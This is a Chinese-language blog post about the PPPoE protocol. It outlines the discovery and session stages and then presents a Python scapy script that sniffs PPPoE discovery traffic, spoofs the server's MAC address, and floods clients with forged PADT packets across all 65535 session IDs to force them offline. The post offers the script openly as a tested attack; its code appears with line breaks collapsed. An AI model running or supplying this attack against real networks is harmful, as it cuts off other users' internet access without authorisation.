侧边栏壁纸
博主头像
落叶人生博主等级

走进秋风,寻找秋天的落叶

  • 累计撰写 130555 篇文章
  • 累计创建 28 个标签
  • 累计收到 9 条评论
标签搜索

目 录CONTENT

文章目录

PPPoE***1:PADT断开连接

2023-05-25 星期四 / 0 评论 / 0 点赞 / 12 阅读 / 4589 字

PPPoE协议是一个非常良好的协议,它具有带宽控制、用户认证、防ARP病毒等功能,基本上可以满足局域网对用户的管理,多用于adsl拨号,许多运营商就是通过pppoe拨号对用户实现宽带接入;本人在使用P

.

    PPPoE协议是一个非常良好的协议,它具有带宽控制、用户认证、防ARP病毒等功能,基本上可以满足局域网对用户的管理,多用于adsl拨号,许多运营商就是通过pppoe拨号对用户实现宽带接入;

    本人在使用PPPoE协议过程中,对PPPoE协议进行了学习,笔记如下:


    PPPoE认证分为两个阶段:


    第一阶段:发现阶段

    1.pppoe client广播发送PADI数据包建立连接;

    2.pppoe server回复一个PADO单播帧;

    3.client回复一个PADR单播请求,期望进行会话;

    4.pppoe server回复一个PADS数据包,同意进行下一步协商(包中携带一个sessionid,作为用户的凭证之一)

          

    第二阶断:会话阶段

    双方使用PPP的LCP协议协商链路,NCP进行用户名密码检验,双方完成通讯。

          

    在第一阶段pppoe会话重要依据就是双方的mac地址,在和sessionid;

    

    在用户下线的时候,用户会发送PADT数据包进行协商,断开会话连接;


    那么问题来了:如果我们冒充服务器(客户),向客户(服务器)发送伪造的特定格式的PADT数据包,会不会断开会话?基于这一思路,我利用python的scapy模块写出了一个程序,经过测试,这个思路完全正确,可以达到断开会话的目的;


    ***的原理:在pppoe client发送广播帧发送discovery时,监听网络,得到client mac地址,再对client发送一个PADT数据包,包中包含sessionid,这时就可以使client误以为server结束了连接。注意:在发送伪造数据包时,双方应该已经完成了第一阶段的会话;    


    由于我们不清楚客户获得的sessionid,所以对于sessionid的取值直接使用了数据字典,因此为了破坏连接需要发送65535个数据包;


***的python代码如下:

from  scapy.all import *while True:        try:                        a=sniff(filter='pppoed',count=1)                        c=Ether()/PPPoE()                        c.dst=a[0].src                        c.src="00:0c:29:be:f5:21"  //注意:这个src是你pppoe服务器的mac地址,请酌情手工修改                        c.type=0x8863                        c.payload.code=0xa7                        c.payload.sessionid=range(65535)                        c.payload.len=0                        sendp(c)                        print "We have attack one,his/her mac address is "+a[0].src        except:                continue


.

广告 广告

评论区